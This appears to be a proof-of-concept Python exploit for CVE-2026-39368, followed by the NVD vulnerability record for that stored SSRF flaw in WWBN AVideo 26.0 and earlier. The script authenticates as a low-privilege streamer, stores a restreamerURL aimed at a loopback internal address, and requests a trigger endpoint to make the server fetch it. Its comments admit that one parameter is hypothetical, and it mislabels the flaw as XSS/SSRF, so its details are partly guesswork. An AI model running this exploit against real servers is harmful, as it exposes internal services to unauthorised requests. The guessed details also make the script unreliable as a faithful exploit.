CVE-2026-39368

import requests # Configuration target_host = "http://avideo-example.com" attacker_controlled_url = "http://127.0.0.1:8080/internal-config" login_url = f"{target_host}/object/login.json" vuln_url = f"{target_host}/objects/restreamerLog.json.php" # 1. Authenticate as a low-privilege user with streaming permission session = requests.Session() credentials = {"user": "lowpriv_user", "pass": "password"} session.post(login_url, data=credentials) # 2. Exploit: Submit the malicious restreamerURL (Stored XSS/SSRF) payload = { "restreamerURL": attacker_controlled_url, "action": "save" # Hypothetical parameter based on common flows } response = session.post(vuln_url, data=payload) if response.status_code == 200: print("[+] Payload stored successfully.") # 3. Trigger: The server will fetch the URL later, or force a check # Depending on the app logic, viewing the log might trigger the fetch trigger_url = f"{target_host}/objects/restreamerLog.json.php?forceCheck=1" session.get(trigger_url) print("[*] Check server logs or netcat listener on internal port for connection.")

{"cve": {"id": "CVE-2026-39368", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.877", "lastModified": "2026-04-22T18:50:53.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the Live restream log callback flow accepted an attacker-controlled restreamerURL and later fetched that stored URL server-side, enabling stored SSRF for authenticated streamers. The vulnerable flow allowed a low-privilege user with streaming permission to store an arbitrary callback URL and trigger server-side requests to loopback or internal HTTP services through the restream log feature."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-q4x6-6mm2-crg9", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}